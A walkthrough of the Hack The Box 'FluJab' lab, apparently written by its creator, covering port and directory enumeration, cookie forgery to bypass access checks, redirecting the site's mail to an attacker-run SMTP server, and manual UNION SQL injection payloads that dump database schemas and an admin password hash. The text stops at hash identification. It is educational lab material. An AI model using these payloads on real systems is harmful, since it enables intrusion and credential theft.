FluJab Walkthrough - by ȜӎŗgͷͼȜ

This is a walk-through of the FluJab Challenge created for Hack The Box by ȜӎŗgͷͼȜ. This guide shows how it was intended that people may be able to complete this challenge.

Contents:


Scanning For Open Ports

To begin, we can use nmap to do a full port range scan for any open ports/services of the IP address.

[email protected]:~# nmap -p- 20.20.20.144 --open
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-28 15:32 GMT
Nmap scan report for flujab.lan (20.20.20.144)
Host is up (0.00012s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  https
8080/tcp  open  http-proxy
MAC Address: 08:00:27:88:86:20 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.17 seconds

[email protected]:~# nmap -p 22,80,443,8080 20.20.20.144 -sV
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-28 15:33 GMT
Nmap scan report for flujab.lan (20.20.20.144)
Host is up (0.00025s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh?
80/tcp   open  http     nginx
443/tcp  open  ssl/http nginx
8080/tcp open  ssl/http nginx
MAC Address: 08:00:27:88:86:20 (Oracle VirtualBox virtual NIC)

We have discovered 4 open ports that look like an SSH and an Nginx server. But, we can’t see much more about what versions they are yet, or any detail about the host OS for that matter.

So, now we can check each in more detail.

Port 22 (ssh?)

Typically, we would expect port 22 to be a SSH Server, but in this case we just can connect to it. It looks like some sort of TCP Filtering is in effect perhaps.

[email protected]:~# ssh [email protected] -v
OpenSSH_7.9p1 Debian-4, OpenSSL 1.1.1a  20 Nov 2018
debug1: Reading configuration data /root/.ssh/config
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 19: Applying options for *
debug1: Connecting to 20.20.20.144 [20.20.20.144] port 22.
debug1: Connection established.
debug1: Local version string SSH-2.0-OpenSSH_7.9p1 Debian-4
ssh_exchange_identification: read: Connection reset by peer

We note it down and move on to the web ports.

Port 80 (nginx http)

Port 80 just bounces us to 443 with a http redirect via setting a Location: header.

[email protected]:~# curl -I 20.20.20.144
HTTP/1.1 301 Moved Permanently
Date: Wed, 28 Nov 2018 15:50:53 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: https://20.20.20.144/
Server: ClownWare Proxy

We also get a Server Header of ClownWare Proxy.

Port 443 & 8080 (nginx https)

Port 443 gives us a 200 OK, as does port 8080.

[email protected]:~# curl -k -I https://20.20.20.144
HTTP/1.1 200 OK
Date: Wed, 28 Nov 2018 16:18:34 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: ClownWare Proxy
[email protected]:~# curl -k -I https://20.20.20.144:8080/
HTTP/1.1 200 OK
Date: Wed, 28 Nov 2018 16:18:34 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: ClownWare Proxy

We get a matching 200 OK response back from both ports, but when we visit either of them via the server IP we get an error page.

The error say “You’ve requested an IP address that is part of the ClownWare network. A valid Host header must be supplied to reach the desired website”.

Also, we had to accept the certificate following a warning and it listing the domains it’s valid for.

It looks like some sort of ddos protection web proxy or something similar to Cloudflare.

We can use sslscan to inspect the cert and its info.

[email protected]:~# sslscan 20.20.20.144
Version: 1.11.12-static
OpenSSL 1.0.2-chacha (1.0.2g-dev)

Connected to 20.20.20.144

Testing SSL server 20.20.20.144 on port 443 using SNI name 20.20.20.144

  TLS Fallback SCSV:
Server supports TLS Fallback SCSV

  TLS renegotiation:
Secure session renegotiation supported

  TLS Compression:
Compression disabled

  Heartbleed:
TLS 1.2 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.0 not vulnerable to heartbleed

  Supported Server Cipher(s):
Preferred TLSv1.2  256 bits  ECDHE-RSA-AES256-GCM-SHA384   Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-GCM-SHA384     DHE 1024 bits
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-GCM-SHA256   Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-GCM-SHA256     DHE 1024 bits
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-SHA384       Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-SHA256         DHE 1024 bits
Accepted  TLSv1.2  256 bits  ECDHE-RSA-CAMELLIA256-SHA384  Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  DHE-RSA-CAMELLIA256-SHA256    DHE 1024 bits
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-SHA256       Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-SHA256         DHE 1024 bits
Accepted  TLSv1.2  128 bits  ECDHE-RSA-CAMELLIA128-SHA256  Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  DHE-RSA-CAMELLIA128-SHA256    DHE 1024 bits
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-SHA          Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-SHA            DHE 1024 bits
Accepted  TLSv1.2  256 bits  DHE-RSA-CAMELLIA256-SHA       DHE 1024 bits
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-SHA            DHE 1024 bits
Accepted  TLSv1.2  128 bits  DHE-RSA-CAMELLIA128-SHA       DHE 1024 bits
Accepted  TLSv1.2  256 bits  AES256-GCM-SHA384            
Accepted  TLSv1.2  128 bits  AES128-GCM-SHA256            
Accepted  TLSv1.2  256 bits  AES256-SHA256                
Accepted  TLSv1.2  256 bits  CAMELLIA256-SHA256           
Accepted  TLSv1.2  128 bits  AES128-SHA256                
Accepted  TLSv1.2  128 bits  CAMELLIA128-SHA256           
Accepted  TLSv1.2  256 bits  AES256-SHA                   
Accepted  TLSv1.2  256 bits  CAMELLIA256-SHA              
Accepted  TLSv1.2  128 bits  AES128-SHA                   
Accepted  TLSv1.2  128 bits  CAMELLIA128-SHA              
Preferred TLSv1.1  256 bits  ECDHE-RSA-AES256-SHA          Curve P-256 DHE 256
Accepted  TLSv1.1  256 bits  DHE-RSA-AES256-SHA            DHE 1024 bits
Accepted  TLSv1.1  256 bits  DHE-RSA-CAMELLIA256-SHA       DHE 1024 bits
Accepted  TLSv1.1  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.1  128 bits  DHE-RSA-AES128-SHA            DHE 1024 bits
Accepted  TLSv1.1  128 bits  DHE-RSA-CAMELLIA128-SHA       DHE 1024 bits
Accepted  TLSv1.1  256 bits  AES256-SHA                   
Accepted  TLSv1.1  256 bits  CAMELLIA256-SHA              
Accepted  TLSv1.1  128 bits  AES128-SHA                   
Accepted  TLSv1.1  128 bits  CAMELLIA128-SHA              
Preferred TLSv1.0  256 bits  ECDHE-RSA-AES256-SHA          Curve P-256 DHE 256
Accepted  TLSv1.0  256 bits  DHE-RSA-AES256-SHA            DHE 1024 bits
Accepted  TLSv1.0  256 bits  DHE-RSA-CAMELLIA256-SHA       DHE 1024 bits
Accepted  TLSv1.0  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.0  128 bits  DHE-RSA-AES128-SHA            DHE 1024 bits
Accepted  TLSv1.0  128 bits  DHE-RSA-CAMELLIA128-SHA       DHE 1024 bits
Accepted  TLSv1.0  256 bits  AES256-SHA                   
Accepted  TLSv1.0  256 bits  CAMELLIA256-SHA              
Accepted  TLSv1.0  128 bits  AES128-SHA                   
Accepted  TLSv1.0  128 bits  CAMELLIA128-SHA              

  SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
RSA Key Strength:    4096

Subject:  ClownWare.htb
Altnames: DNS:clownware.htb, DNS:sni147831.clownware.htb, DNS:*.clownware.htb, 
          DNS:proxy.clownware.htb, DNS:console.flujab.htb, DNS:sys.flujab.htb, 
          DNS:smtp.flujab.htb, DNS:vaccine4flu.htb, DNS:bestmedsupply.htb, 
          DNS:custoomercare.megabank.htb, DNS:flowerzrus.htb, DNS:chocolateriver.htb, 
          DNS:meetspinz.htb, DNS:rubberlove.htb, DNS:freeflujab.htb, DNS:flujab.htb
Issuer:   ClownWare Certificate Authority

Not valid before: Nov 28 14:57:03 2018 GMT
Not valid after:  Nov 27 14:57:03 2023 GMT

Noting down the list of AltNames we are now able to go through them and see if there are any vulnerable looking sites of interest.


Enumerating The Webserver

Just as we’d expect on the internetz… we find most of the sites have nothing to do with anything very interesting to us and are full of all kinds of random distractions.

But, after some time we see the website at https://freeflujab.htb looks the most interesting as it has the most functionality as far as we can tell.

Lets do some Enumeration then. Starting with some directory scanning we see most of the requests are being answered with a 301 Redirect response forwarding us to the generic error page of the ddos proxy provider or something.

[email protected]:~# dirsearch -u https://freeflujab.htb/ -e php

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: php | Threads: 10 | Wordlist size: 5963

Error Log: /opt/dirsearch/logs/errors-18-12-05_16-36-24.log

Target: https://freeflujab.htb/

[16:36:24] Starting: 
[16:36:24] 400 -  166B  - /%2e%2e/google.com
[16:36:24] 200 -    5KB - /php
[16:36:26] 301 -  178B  - /.hta  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.ht_wsr.txt  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccess.inc  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccess  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccess-dev  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccess-local  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccess-marco  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccess.bak1  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccess.BAK  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccess.bak  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccess.old  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccess.orig  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccess.sample  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccess.save  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccess.txt  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccess/  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccess_extra  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccess_orig  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccessOLD  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccessBAK  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccess~  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccess_sc  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htaccessOLD2  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htgroup  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htpasswd  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htpasswd-old  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htpasswd.bak  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htpasswd.inc  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htpasswd/  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htpasswd_test  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htpasswds  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htpasswrd  ->  https://clownware.htb/cwerror_pages.php
[16:36:26] 301 -  178B  - /.htusers  ->  https://clownware.htb/cwerror_pages.php
CTRL+C detected: Pausing threads, please wait...
[e]xit / [c]ontinue: e

Canceled by the user

Looks like “ClownWare protection” is enabled on this website…

We also see some valid directory names and a repeated 200 OK response with a size of 5k.

Grabbing the 5k response using curl we see it contains some php source code of what is probably the index.php file on the nginx server. Perhaps the nginx.conf has been mis-configured.

[email protected]:~# curl -k https://freeflujab.htb/s
<?php 
define('SafeIncludes', TRUE);
require_once('includes/get_host.php');
//                                                                                              /$$              
include('includes/tokens.php');//                                                               | $$              
//   /$$$$$$$  /$$$$$$  /$$   /$$  /$$$$$$   /$$$$$$$  /$$$$$$         /$$$$$$$  /$$$$$$   /$$$$$$$  /$$$$$$     
//  /$$_____/ /$$__  $$| $$  | $$ /$$__  $$ /$$_____/ /$$__  $$       /$$_____/ /$$__  $$ /$$__  $$ /$$__  $$    
// |  $$$$$$ | $$  \ $$| $$  | $$| $$  \__/| $$      | $$$$$$$$      | $$      | $$  \ $$| $$  | $$| $$$$$$$$    
//  \____  $$| $$  | $$| $$  | $$| $$      | $$      | $$_____/      | $$      | $$  | $$| $$  | $$| $$_____/    
//  /$$$$$$$/|  $$$$$$/|  $$$$$$/| $$      |  $$$$$$$|  $$$$$$$      |  $$$$$$$|  $$$$$$/|  $$$$$$$|  $$$$$$$    
// |_______/  \______/  \______/ |__/       \_______/ \_______/       \_______/ \______/  \_______/ \_______/    
include('includes/actions.php');                                                                                                              
//                                                                                                    /$$ /$$ /$$
include('includes/header.php');//                                                                    | $$| $$| $$
//                    /$$   /$$  /$$$$$$  /$$   /$$ /$$   /$$ /$$   /$$ /$$   /$$  /$$$$$$   /$$$$$$ | $$| $$| $$
//                   | $$  | $$ |____  $$| $$  | $$| $$  | $$| $$  | $$| $$  | $$ /$$__  $$ /$$__  $$| $$| $$| $$
//                   | $$  | $$  /$$$$$$$| $$  | $$| $$  | $$| $$  | $$| $$  | $$| $$$$$$$$| $$$$$$$$|__/|__/|__/
//                   | $$  | $$ /$$__  $$| $$  | $$| $$  | $$| $$  | $$| $$  | $$| $$_____/| $$_____/            
//                   |  $$$$$$$|  $$$$$$$|  $$$$$$$|  $$$$$$$|  $$$$$$$|  $$$$$$$|  $$$$$$$|  $$$$$$$ /$$ /$$ /$$
//                    \____  $$ \_______/ \____  $$ \____  $$ \____  $$ \____  $$ \_______/ \_______/|__/|__/|__/
//                    /$$  | $$           /$$  | $$ /$$  | $$ /$$  | $$ /$$  | $$                                
//                   |  $$$$$$/          |  $$$$$$/|  $$$$$$/|  $$$$$$/|  $$$$$$/                                
//                    \______/            \______/  \______/  \______/  \______/                                 
include('includes/scripts.php');
//                                                  ▄▄▄▄▄▄▄▄▄▄▄        
//                                             ▄▄▀▀▀▀          ▀▀▄▄    
//                                           ▄▀                   ▀▀▄    
//                                          █                        █
//                                         █                     ▄▀▀▀▀▀█▄
//                                        █▀                    █    ▄███
//                                        █                     █    ▀███
//                                        █     ▄▀▀██▀▄         █       █
//                                        █    █  ████ █         ▀▄▄▄▄▄█ 
//                                        █    █  ▀██▀ █               █
//                                        █    █       █              ▄▀
//                                        █    ▀▄     ▄▀  ▄▄▄▄▄▄▄▄▄   █  
//                                        █     ▀▀▀▀▀    █  ▀  ▀  █  ▄▀ 
//                                         █              ▀▄█▄█▄█▀ ▄▀
//                                          █                     ▄▀    
include('includes/path_handler.php');//      ▀▀▀▄          ▄▄▄▄▄▄▀▀
//                                            ▄▀         ▀▀  ▄▀ 
//                                          ▄▀               █
//                                         ▄▀                █  ▄▀▀▀█▀▀▄
//                                         █    █  █▀▀▀▄     █▀▀    █  █
//                                        ▄█    ▀▀▀    █     █    ▀▀   █
//                                        █▀▄          █      █▄       █
//                                        █  ▀▀▀▀▀█▄▄▄▄▀       ▀█▀▀▀▄▄▄▀
//                                        █                     █
//                                        █                     █
//                                        █                     █
//                                         █         ▀▄  ▄▀    █
//                                          █          █        ▀▄
//                                           █         █          █
//                                           █         █           ▀▄
//                                           █      ▄▀▀█▀▀▄        ▄▀▀██▀▄ 
//                                           █             █▀▄            █
//                                           ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀  ▀ ▀▀▀▀▀▀▀▀▀▀▀
include('includes/fortune.php');
?>

Hmm.. seems like a troll… But is it? If we think for a moment we may find it reveals a few clues. For example, Noting down the php include script names, we can infer a few things.

  1. Its a php web app.
  2. It’s using server side includes to dynamically generate the HTML output.
  3. It appears to care about connecting hosts?
  4. It’s possibly doing some custom (i.e insecure) token handling?
  5. It executes some actions based on GET/POST input?
  6. It has a custom path handler.
  7. It includes a strange footer called fortune.

Plenty to think about here, and a few clues to mull over.


Eyeballing the site

However, for now. we should go and try to manually understand how the site works and what it’s actually for.

At this stage its a good idea to proxy our web traffic through a tool such as Burp. so lets do that.

Looking at the site, it appears to be an online patient flu vaccination booking service.

Right away, when we visit the site we see some interesting cookies being set by the webserver. We also see an interesting path value of “path=/?smtp_config” being set for the “Modus” Cookie.

Also, if we use Burp’s Hotkeys to decode the “Modus” and “Registered” cookie values as url and base64 encoded strings we see what look like resource access parameters and values set within them.

They’re both set to Null at present, with the “Registered” cookie also containing an MD5 hash value matching that of the “Patient” Cookie value. We note this down for now and continue enumeration of the website. One of the first interesting things we notice is the “PATIENTS” section on the site navigation menu links to four possible form submission pages.

Looking at these we see some data entry points to investigate.

However, we are redirected to an ERROR=NOT_REGISTERED message when we try to access the /?cancel or /?remind pages.

Ok, maybe we can register as a new patient? Let’s see.

We also check out the /?smtp_config page and find another redirect. This time to /?denied.

Next, playing with the /?book page we try to submit some test details but get another error message popup this time.

Looks like we are going to have to find another way…

After reading the bottom of the /?stats page we see some possible patient surnames that may help us guess the details of registered accounts on the server.

Hmnn.. B Smith looks like a good place to try. Maybe a few manual guesses are all it’ll take.

I try Bill Smith, Ben Smith, Bob Smith

And we seem to get a match but are greeted with another error message.

It looks like the form is trying to connect to an SMTP Server to send the patient an email. It, seems we may need to access /?smtp_config and fix this issue somehow.


Bypassing Access Controls

Thinking back to the “Modus” cookie we remember that it contained an encoded value of Null. Maybe we can try to manipulate it and bypass the access denied redirect we are getting.

We can use Burp’s Repeater tab here and play around with the values we send.

The original value responds with a 302 Found code and a Location: /?denied header.

But, after some trial and error we change the encoded value to True and get a 200 OK and can access a configuration page.

(base64 value of ‘Configure=True’ is ‘Q29uZmlndXJlPVRydWU=’ and the ‘=’ character must be url encoded within a cookie and is ‘%3d’)

Cool, we can create a Burp Match & Replace Rule to allow us to browse to /?smtp_config without having to intercept the request and manually change it each time.

Doing this in two steps will ensure that the cookie is always set as the first cookie in our request header.

The 1st rule strips out the old Modus Null cookie if it’s present.

Then the 2nd rule adds a new Modus True cookie in every request we now send to the server once we turn the checkbox on.

Browsing to the page with the rules switched on in Burp, we see a form for configuring a new SMTP Server domain address and a warning message about whitelisted admins with a link to a page of current whitelisted hosts that looks empty right now but says it gets auto-updated? hmnn…

Visiting the Whitelist page at first it looks empty.

Clicking on the submit button it saves the placeholder value as the server address and does indeed add our IP address to the whitelist also.

Once again, we can try to book an appointment for Bob Smith and see what happens.

Looks, like smtp.flujab.htb:25 is offline. Let’s see if we can create an SMTP Server of our own, and try to force the webapp to send us the emails.


Intercepting Emails

But when we try to use our IP as the SMTP Server address we get another error message.

Luckily, this is just due to a bit of client side HTML form validation going on, and can be easily bypassed once more.

Using Firefox’s built-in Developer Tools we can just delete the pattern=“smtp.[A-Za-z]{1,255}.[A-Za-z]{2,5}” section.

Then submit the request.

Now our IP is set as the mailserver address.

So lets see if we can intercept some email for Bob Smith using a python 1-liner.

[email protected]:~# python -m smtpd -n -c DebuggingServer :25

we re-attempt the booking request and see a positive response and an email address for Bob.

And, looking in the terminal we see we have successfully intercepted the flujab appointment request email.

[email protected]:~# python -m smtpd -n -c DebuggingServer :25
---------- MESSAGE FOLLOWS ----------
Date: Thu, 6 Dec 2018 00:24:16 +0000
To: [email protected]
From: Nurse Julie <[email protected]>
Subject: Flu Jab Appointment - Ref:NHS-943-475-5911
Message-ID: <[email protected]>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Peer: 20.20.20.144


  
  Dear Mr Bob Smith,

  Here are the details of your appointment at our surgery.
  ________________________
    
    VACCINATION
    Routine Priority
    ------------------    
    REF    : NHS-943-475-5911
    Code   : Influ-022
    Type   : Injection
    Time   : 09:00
    Date   : 2018-11-30
    LOC    : Crick026 
  ________________________

  We look forward to seeing you.
  Have a nice day,

  Nurse Julie Walters
  Senior Staff Nurse
  Cricklestone Doctors Surgery
  NHS England.
  

------------ END MESSAGE ------------

Well, we have definitely proven that the online service is not in compliance with GDPR… What a shocker!


Testing For SQL Injection

But how is this useful to us? Let’s test for some vulnerabilities.

We test for SQL injection in the booking form, the smtp_config and the registration page but to no avail.

After more enumeration we go back to the other pages we got the error pages on. We find, if we also change the Registered cookie Null value to True with another Burp Match & Replace Rule we can now access those pages too.

Using the NHS Number from Bob’s email we submit a valid POST request and capture it in Burp and save the full resuest to a file to use with SQLMap to check for injection vulnerabilities.

Then we let the tool do it’s thing…

[email protected]:~/testing# sqlmap -r cancel-post.rqst --level=5 --risk=3 -p nhsnum
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.2.11#stable}
|_ -| . [']     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 20:47:32

[20:47:32] [INFO] parsing HTTP request from 'cancel-post.rqst'
[20:47:32] [INFO] testing connection to the target URL
[20:47:32] [INFO] heuristics detected web page charset 'ascii'
sqlmap got a 301 redirect to 'https://freeflujab.htb/?cancel'. Do you want to follow? [Y/n] 
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] 
[20:47:35] [INFO] testing if the target URL content is stable
[20:47:35] [WARNING] heuristic (basic) test shows that POST parameter 'nhsnum' might not be injectable
....

Then after some time it suggests there is an SQL Injection point here…

...
[20:48:08] [INFO] POST parameter 'nhsnum' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable (with --string="Protected By ClownWare.htb")

But then after a bit longer we find SQLMap reports it as either a false positive or not injectable. :(

[20:49:57] [INFO] checking if the injection point on POST parameter 'nhsnum' is a false positive
[20:49:57] [WARNING] false positive or unexploitable injection point detected
[20:49:57] [WARNING] POST parameter 'nhsnum' does not seem to be injectable
[20:49:57] [CRITICAL] all tested parameters do not appear to be injectable. Also, you can try to rerun by providing a valid value for option '--string' as perhaps the string you have chosen does not match exclusively True responses. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment')

[*] shutting down at 20:49:57


Manual SQL Injection

It looks like we need to do some manual work here. So let’s have a go at that then.

Looking back through the emails that we intercepted while SQLMap was running we notice that the email subject line that normally contains the NHS Number was sometimes blank after Ref:. Maybe we can leverage this to our advantage. We can again use Burp’s Repeater to test this idea.

Error In The Logic

Starting with some simple tests we quickly discover if we send a basic ' or 1=1# string as the NHS Number we get a valid value from the database table in the subject line Ref: NHS-943-475-5911 along with the injected string reflected back at us in the body of the email.

---------- MESSAGE FOLLOWS ----------
Date: Thu, 6 Dec 2018 21:10:25 +0000
To: [email protected]
From: Nurse Julie Walters <[email protected]>
Subject: Flu Jab Appointment - Ref:NHS-943-475-5911
Message-ID: <[email protected]>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Peer: 20.20.20.144

    CANCELLATION NOTICE!
  ________________________
    
    VACCINATION
    Routine Priority
    ------------------
    REF    : ' or 1=1#    <-- [The Injected SQL Command]
    Code   : Influ-022
    Type   : Injection
    Stat   : CANCELED 
    LOC    : Crick026 
  ________________________

  Your flu jab appointment has been canceled.
  Have a nice day,

  Nurse Julie Walters
  Senior Staff Nurse
  Cricklestone Doctors Surgery
  NHS England.
  

------------ END MESSAGE ------------

And if we test it using ' or 1=2# and get a blank.

Subject: Flu Jab Appointment - Ref:
REF    : ' OR 1=2#   

So we have confirmed a valid Out Of Band SQL Injection is going on here.

Understanding The Query Structure

So, lets do some homework. The first thing we’d like to know is the number of columns in the SELECT query we are injecting into. To find this out we can use ' or 1=1 ORDER BY n # as our string and increment the value of n until we get a failure. Then we’ll know the value of n prior to the failure point is the number of columns.

For example, we start with the following injected query.

Subject: Flu Jab Appointment - Ref:NHS-943-475-5911
REF    : ' OR 1=1 ORDER BY 1# 

then we increment the value of n and repeat the process until the query fails to return any data…

Subject: Flu Jab Appointment - Ref:
REF    : ' OR 1=1 ORDER BY 6# 

Because ' OR 1=1 ORDER BY 6# caused a failure we now know there are 5 columns in the SELECT query we are injecting into.

Finding The Data Exfil Point

Now we know how many columns there are, we next need to find out which one contains the value of the NHS Number as this is going to be our data exfil point. For this we can inject a UNION SELECT statement of ' UNION SELECT '1','2','3','4','5' LIMIT 1# and hopefully, the number of the correct column will be shown in the email subject line.

When we try it, we see Ref:3

Subject: Flu Jab Appointment - Ref:3
REF    : ' UNION SELECT '1','2','3','4','5' LIMIT 1# 

So the third column is a winner. Next we can confirm we can pull data from the database by injecting some simple queries like user() & database().

Subject: Flu Jab Appointment - Ref:[email protected]
REF    : ' UNION SELECT '1','2',user(),'4','5' LIMIT 1#
Subject: Flu Jab Appointment - Ref:vaccinations
REF    : ' UNION SELECT '1','2',database(),'4','5' LIMIT 1# 

A good MySQL function to check to see if we can execute is the LOAD_FILE('/path/to/infile') ability. If available, we could read sensitive files like configs etc, and it would also indicate we may have access to the OUTFILE '/path/to/outfile' ability too which we could use to write a php backdoor in the webroot if we are lucky.

Subject: Flu Jab Appointment - Ref:
REF    : ' UNION SELECT '1','2',LOAD_FILE('/etc/passwd'),'4','5' LIMIT 1# 

Alas, we have no such luck with either of those is this case. This is probably because the secure-file-priv has been set in the my.cnf config file.

Finding All Database Names

Moving on, we now know the name of the current database which was easy to retrieve using the database() built-in function. But lets enumerate all the database names. We can query the Information Schema and use a GROUP_CONCAT() function to aggregate all the results into a single string so we can extract it via the data exfil point we discovered.

Subject: Flu Jab Appointment - Ref: MedStaff , information_schema , mysql , openmrs , performance_schema , phplist , vaccinations
REF    : ' UNION SELECT '1','2',GROUP_CONCAT(DISTINCT ' ',table_schema,' '),'4','5' FROM information_schema.tables #

So we got a few extra databases that sound enticing…

DATABASES 
----------
MedStaff
information_schema
mysql
openmrs
performance_schema
phplist
vaccinations

But it’s often important to go through things methodically before we jump the gun and go off on a hunch. Lest we come a cropper propper…

Finding The Table Names

So, for now lets just focus on the current database and enumerate all the tables we have available to us.

Ref:admin ,admin_attribute ,admin_password_request ,adminattribute ,admintoken ,attachment ,attribute ,bounce ,bounceregex ,bounceregex_bounce ,config ,eventlog ,i18n ,linktrack ,linktrack_forward ,linktrack_ml ,linktrack_uml_click ,linktrack_userclick ,list ,listmessage ,listuser ,message ,message_attachment ,messagedata ,sendprocess ,subscribepage ,subscribepage_data ,template ,templateimage ,urlcache ,user ,user_attribute ,user_blacklist ,user_blacklist_data ,user_history ,user_message_bounce ,user_message_forward ,user_message_view ,usermessage ,userstats
REF    : ' UNION SELECT '1','2',GROUP_CONCAT(table_name,' '),'4','5' FROM information_schema.tables where table_schema='vaccinations' #
TABLES 
----------
admin 
admin_attribute
admin_password_request
adminattribute
admintoken
attachment
attribute
bounce
bounceregex
bounceregex_bounce
config
eventlog
i18n
linktrack
linktrack_forward
linktrack_ml
linktrack_uml_click
linktrack_userclick
list
listmessage
listuser
message
message_attachment
messagedata
sendprocess
subscribepage
subscribepage_data
template
templateimage
urlcache
user
user_attribute
user_blacklist
user_blacklist_data
user_history
user_message_bounce
user_message_forward
user_message_view
usermessage
userstats

Yikes! Lots to pick through here. Let’s just go and look at the most obvious thing… the admin table perhaps :D

Finding The Columns In A Table

But, first we need to know the names of each colums so we know what to select.

Subject: Flu Jab Appointment - Ref:id ,loginname ,namelc ,email ,access ,created ,modified ,modifiedby ,password ,passwordchanged ,superuser ,disabled ,privileges
REF    : ' UNION SELECT '1','2',GROUP_CONCAT(column_name,' '),'4','5' FROM information_schema.columns where table_schema='vaccinations' AND table_name='admin'#

And we get:

COLUMNS 
----------
id
loginname
namelc
email
access
created
modified
modifiedby
password
passwordchanged
superuser
disabled
privileges

Extracting Data With Precision

Let’s pick some juicy looking columns to grab the data from…

Subject: Flu Jab Appointment - Ref: sysadm : administrator : [email protected] : sysadmin-console-01.flujab.htb : a3e30cce47580888f1f185798aca22ff10be617f4a982d67643bb56448508602
REF    : ' UNION SELECT '1','2',GROUP_CONCAT(' ',loginname,' : ',namelc,' : ',email,' : ',access,' : ',password),'4','5' FROM admin #

Good, we got some creds for a “sysadm” account and also a new subdomain that might possibly give us some kind of administrative control of the server perhaps?

SYSADIN DETAILS 
------------------
loginname : sysadm
namelc    : administrator
email 	  : [email protected]
access    : sysadmin-console-01.flujab.htb
password  : a3e30cce47580888f1f185798aca22ff10be617f4a982d67643bb56448508602

Cracking Hashes

Looking at the password hash we pulled out of the admin table, we can use hash-indentifier to try to check what type of hash it is.

[email protected]:~# hash-identifier 
   #########################################################################
   #	 __  __ 		    __		 ______    _____	   #
